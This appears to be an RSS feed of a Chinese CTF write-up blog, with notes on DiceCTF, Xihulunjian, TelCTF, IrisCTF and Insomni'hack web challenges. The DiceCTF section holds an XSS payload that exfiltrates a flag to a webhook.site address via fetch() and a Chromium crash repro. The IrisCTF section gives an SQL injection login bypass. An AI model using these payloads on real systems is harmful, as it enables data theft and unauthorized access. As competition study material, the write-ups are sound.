&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/bot&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;already open!&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;no&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;visit&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;visiting&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/flag&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;token&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;wrong&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;FLAG&lt;/span&gt; &lt;span style="color:#f92672"&gt;??&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;dice{flag}&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}).&lt;span style="color:#a6e22e"&gt;listen&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;8080&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="visitjs"&gt;visit.js&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;puppeteer&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;launch&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;pipe&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--no-sandbox&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--disable-setuid-sandbox&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--js-flags=--noexpose_wasm,--jitless&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--incognito&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;dumpio&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;headless&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;new&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;argv&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;newPage&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;http://127.0.0.1:8080&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;evaluate&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;token&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#submit&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;waitForFrame&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;frame&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;frame&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;() &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sandbox&amp;#39;&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;只等待1s&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;await page.waitForFrame(frame =&amp;gt; frame.name() == &amp;#39;sandbox&amp;#39;, { timeout: 1000 });
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;[CSS：在相对颜色语法中使用 color-mix 制作的颜色会导致选项卡崩溃并显示 SIGILL &lt;a href="https://issues.chromium.org/issues/41490764"&gt;41490764] - Chromium&lt;/a&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt; 
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt; 
&amp;lt;head&amp;gt; 
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt; 
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt; 
 &amp;lt;title&amp;gt;CSS SIGILL Issue Repro&amp;lt;/title&amp;gt; 
 &amp;lt;style&amp;gt; 
 div { 
 --c1: color-mix(in srgb, blue 50%, red); 
 --c2: srgb(from var(--c1) r g b); 
 background-color: var(--c2); 
 } 
 &amp;lt;/style&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; 
 &amp;lt;div&amp;gt;This should be purple&amp;lt;/div&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;终止报错&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f&amp;#34;&amp;gt;&amp;lt;iframe src=&amp;#34;http://localhost/flag&amp;#34; csp=&amp;#34;img-src &amp;lt;https://*&amp;gt;; defascript-srcult-sscript-srcrc &amp;lt;https://*&amp;gt;; repscript-srcort-uscript-srcri &amp;lt;https://*&amp;gt;;&amp;#34; referrerpolicy=&amp;#34;no-referrer&amp;#34;&amp;gt;





&amp;lt;img src=&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f&amp;#34;&amp;gt;
&amp;lt;script&amp;gt;
flag=document.getElementsByTagName(&amp;#34;pre&amp;#34;)[0];
fetch(&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f?flag=${encodeURIComponent(flag)}&amp;#34;)
 .then(response =&amp;gt; {
 // 检查响应状态
 if (!response.ok) {
 throw new Error(`HTTP error! Status: ${response.status}`);
 }
 // 将响应转换为 JSON
 return response.json();
 })
 );
&amp;lt;/script&amp;gt;
&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="dicedicegoose"&gt;dicedicegoose&lt;/h2&gt;
&lt;p&gt;&lt;img src="./image-20240206131947119-1707199656435-3.png" alt="image-20240206131947119"&gt;&lt;/p&gt;</description></item><item><title>西湖论剑</title><link>/posts/xihulunjian/</link><pubDate>Mon, 05 Feb 2024 00:48:41 +0800</pubDate><guid>/posts/xihulunjian/</guid><description>&lt;h2 id="only_sql"&gt;only_sql&lt;/h2&gt;
&lt;p&gt;连上自己的数据库，load data写文件进去&lt;/p&gt;
&lt;p&gt;读到源码：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
// mine
// $db_host = &amp;#39;127.0.0.1&amp;#39;;
// $db_username = &amp;#39;root&amp;#39;;
// $db_password = &amp;#39;1q2w3e4r5t!@#&amp;#39;;
// $db_name = &amp;#39;mysql&amp;#39;;

$db_host = $_POST[&amp;#34;db_host&amp;#34;];
$db_username = $_POST[&amp;#34;db_username&amp;#34;];
$db_password = $_POST[&amp;#34;db_password&amp;#34;];
$db_name = $_POST[&amp;#34;db_name&amp;#34;];
if(isset($db_host)){
 try {
 $dsn = &amp;#34;mysql:host=$db_host;dbname=$db_name&amp;#34;;
 $pdo = new PDO($dsn, $db_username, $db_password);
 $pdo-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 $_SESSION[&amp;#39;dsn&amp;#39;]=$dsn;
 $_SESSION[&amp;#39;db_username&amp;#39;]=$db_username;
 $_SESSION[&amp;#39;db_password&amp;#39;]=$db_password;
 } catch (Exception $e) {
 die($e-&amp;gt;getMessage());
 }
}
if(!isset($_SESSION[&amp;#39;dsn&amp;#39;])){
 die(&amp;#34;&amp;lt;script&amp;gt;alert(&amp;#39;请先连接数据库&amp;#39;);window.location.href=&amp;#39;index.php&amp;#39;&amp;lt;/script&amp;gt;&amp;#34;);
}

?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;title&amp;gt;执行数据库命令&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;style.css&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h1&amp;gt;执行数据库命令&amp;lt;/h1&amp;gt;
 &amp;lt;form action=&amp;#34;query.php&amp;#34; method=&amp;#34;post&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;form-group&amp;#34;&amp;gt;
 &amp;lt;label for=&amp;#34;db_command&amp;#34;&amp;gt;MySQL命令：&amp;lt;/label&amp;gt;
 &amp;lt;input type=&amp;#34;text&amp;#34; id=&amp;#34;db_command&amp;#34; name=&amp;#34;db_command&amp;#34; style=&amp;#34;width: 500px;&amp;#34; required&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;form-group&amp;#34;&amp;gt;
 &amp;lt;button type=&amp;#34;submit&amp;#34;&amp;gt;执行命令&amp;lt;/button&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/form&amp;gt;

 &amp;lt;div class=&amp;#34;result&amp;#34;&amp;gt;
 
 &amp;lt;?php
 if (isset($_POST[&amp;#39;db_command&amp;#39;])) {
 $db_command = $_POST[&amp;#34;db_command&amp;#34;];
 $dsn=$_SESSION[&amp;#39;dsn&amp;#39;];
 $db_username = $_SESSION[&amp;#39;db_username&amp;#39;];
 $db_password = $_SESSION[&amp;#39;db_password&amp;#39;];

 try {
 $pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE =&amp;gt; true));
 $pdo-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

 $stmt = $pdo-&amp;gt;prepare($db_command);
 $stmt-&amp;gt;execute();
 $result = $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);

 if ($result) {
 echo &amp;#34;&amp;lt;h2&amp;gt;执行结果：&amp;lt;/h2&amp;gt;&amp;#34;;
 echo &amp;#34;&amp;lt;table&amp;gt;&amp;#34;;
 echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
 foreach (array_keys($result[0]) as $column) {
 echo &amp;#34;&amp;lt;th&amp;gt;$column&amp;lt;/th&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
 foreach ($result as $row) {
 echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
 foreach ($row as $value) {
 echo &amp;#34;&amp;lt;td&amp;gt;$value&amp;lt;/td&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/table&amp;gt;&amp;#34;;
 } else {
 echo &amp;#34;&amp;lt;p&amp;gt;没有结果返回。&amp;lt;/p&amp;gt;&amp;#34;;
 }
 } catch (Exception $e) {
 echo &amp;#34;&amp;lt;p class=&amp;#39;error-message&amp;#39;&amp;gt;执行错误：&amp;#34; . $e-&amp;gt;getMessage() . &amp;#34;&amp;lt;/p&amp;gt;&amp;#34;;
 }
 }
 ?&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;eeee 没啥用&lt;/p&gt;
&lt;p&gt;直接读flag&amp;mdash;&amp;mdash;&amp;mdash;明明说是sql结果flag不在数据库里面&lt;/p&gt;</description></item><item><title>TelCTF</title><link>/posts/telctf/</link><pubDate>Mon, 05 Feb 2024 00:45:06 +0800</pubDate><guid>/posts/telctf/</guid><description>&lt;h1 id="stress-release-service"&gt;&lt;strong&gt;Stress Release Service&lt;/strong&gt;&lt;/h1&gt;
&lt;h2 id="stress-release-service-1"&gt;&lt;strong&gt;Stress Release Service:&lt;/strong&gt;&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Chall name:
- Stress Release Service

Category:
- Misc / Web

Author:
- tsug0d

Description:
For a better New Year, we are introducing a service that can help you reduce stress: &amp;lt;http://192.53.173.71:8080&amp;gt; . As our service is only available during the New Year, we are also providing you with a code for later use in material section.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/8d78a98b-0a45-4355-a471-4e5956cf6fe5/StressReleaseService__give.zip"&gt;StressReleaseService__give.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is using &lt;code&gt;preg_match&lt;/code&gt; to validate.&lt;/p&gt;
&lt;p&gt;为啥是misc题啊&lt;/p&gt;
&lt;p&gt;限制7个字符长度，可能需要点脑洞吧（&lt;/p&gt;
&lt;p&gt;tiniest php webshell?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/"&gt;https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;抽象，反引号或者想办法传参？&lt;/p&gt;
&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/302a6103-2a30-446e-aba4-8686bf154b39/Untitled.txt"&gt;CTFshow_rce极限大挑战&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;他不限制在7个字符可以看下面这张图&lt;img src="/image-20240204224839567-1707065135959-1.png" alt="../TelCTF/image-20240204224839567"&gt;&lt;/p&gt;</description></item><item><title>RW-be</title><link>/posts/rw-be/</link><pubDate>Mon, 05 Feb 2024 00:42:37 +0800</pubDate><guid>/posts/rw-be/</guid><description>&lt;h1 id="be-a-security-researcher"&gt;Be-a-Security-Researcher&lt;/h1&gt;
&lt;p&gt;开局login&lt;/p&gt;</description></item><item><title>IrisCTF</title><link>/posts/irisctf/</link><pubDate>Mon, 05 Feb 2024 00:39:11 +0800</pubDate><guid>/posts/irisctf/</guid><description>&lt;h2 id="whats-my-password"&gt;What&amp;rsquo;s My Password&lt;/h2&gt;
&lt;p&gt;sql injection&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{&amp;#34;username&amp;#34;:&amp;#34;skat&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;\&amp;#34; union select username,password from users where username=\&amp;#34;skat\&amp;#34;#&amp;#34;}
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="lamenote"&gt;LameNote&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there&amp;#39;s no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/e71696da-6929-44f6-843a-ade7f472026a/lamenote.tar.gz"&gt;lamenote.tar.gz&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Insomni'hack</title><link>/posts/insomni-hack/</link><pubDate>Mon, 05 Feb 2024 00:00:09 +0800</pubDate><guid>/posts/insomni-hack/</guid><description>&lt;h2 id="insobank"&gt;InsoBank&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;by clZ

We&amp;#39;re launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.

It&amp;#39;s not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:

http://91.92.201.197:3000/

Source: here
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;for (accountid,name,balance) in cursor.fetchall():
 if balance &amp;gt; 13.37:
 results[accountid] = {&amp;#39;name&amp;#39;: name, &amp;#39;balance&amp;#39;: balance, &amp;#39;flag&amp;#39;: FLAG}
&lt;/code&gt;&lt;/pre&gt;</description></item></channel></rss>